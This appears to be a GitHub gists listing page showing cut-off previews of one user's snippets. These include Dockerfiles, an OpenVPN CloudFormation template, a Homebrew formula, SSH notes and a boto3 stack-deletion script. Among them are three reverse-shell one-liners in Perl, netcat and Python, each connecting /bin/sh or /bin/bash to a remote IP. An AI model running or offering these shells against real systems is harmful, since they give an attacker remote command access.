This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Mytool < Formula | |
desc "It does this and that" | |
homepage "https://github.com/myaccount/mytool" | |
url "https://github.com/myaccount/mytool/releases/download/v0.1.1/mytool.tar.gz" | |
sha256 "<SHA256>" | |
def install | |
bin.install "fed" | |
end | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"AWSTemplateFormatVersion": "2010-09-09", | |
"Description": "Launch OpenVPN Server in an existing Virtual Private Cloud (VPC).", | |
"Parameters": { | |
"InstanceType": { | |
"Description": "Instance type for OpenVPN Server", | |
"Type": "String", | |
"Default": "c4.large", | |
"AllowedValues": [ | |
"t2.micro", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM crystallang/crystal as builder | |
COPY . /opt/app | |
WORKDIR /opt/app | |
RUN crystal build --static --release src/myapp.cr | |
FROM scratch | |
WORKDIR /opt/app | |
COPY --from=builder /opt/app/myapp / | |
CMD ["/myapp"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
perl -e 'use Socket;$i="10.10.15.211";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
nc -e /bin/bash 10.10.15.211 12345 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import socket,subprocess,os; | |
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); | |
s.connect(("<my ip address>",2375)); | |
os.dup2(s.fileno(),0); | |
os.dup2(s.fileno(),1); | |
os.dup2(s.fileno(),2); | |
p=subprocess.call(["/bin/sh","-i"]); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# uses Docker Multi-Stage Build | |
# https://docs.docker.com/v17.09/engine/userguide/eng-image/multistage-build/ | |
# -- builder container | |
FROM node:9-alpine as builder | |
# download Yelp/dumb-init | |
RUN apk add --no-cache curl | |
RUN curl -sL https://github.com/Yelp/dumb-init/releases/download/v1.2.1/dumb-init_1.2.1_amd64 -o /sbin/dumb-init \ | |
&& chmod +x /sbin/dumb-init | |
WORKDIR /opt/app |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Changing port on the host using | |
# vim /etc/ssh/sshd_config | |
# Find '# Port: 22', uncomment and change to desired PORT | |
# Config your local environment to SSH with the new port: | |
# Host bastion | |
# User ec2-user | |
# Hostname bastion.company.com | |
# IdentityFile ~/.ssh/mykey |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import boto3 | |
# Listing all stacks in the AWS account that are currently active | |
def list_stacks(client): | |
response = client.list_stacks( | |
StackStatusFilter=['CREATE_COMPLETE', 'UPDATE_COMPLETE'] | |
) | |
return response | |
# Iterate through the list and delete everything |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
awscli: | |
image: omerxx/awscli | |
volumes: | |
- ~/.aws:/root/.aws | |
command: tail -f /dev/null | |
# Usage: | |
# Save as docker-compose.yml | |
# Run docker-compose up -d | |
# Run docker exec -it $(docker ps -q) /bin/sh |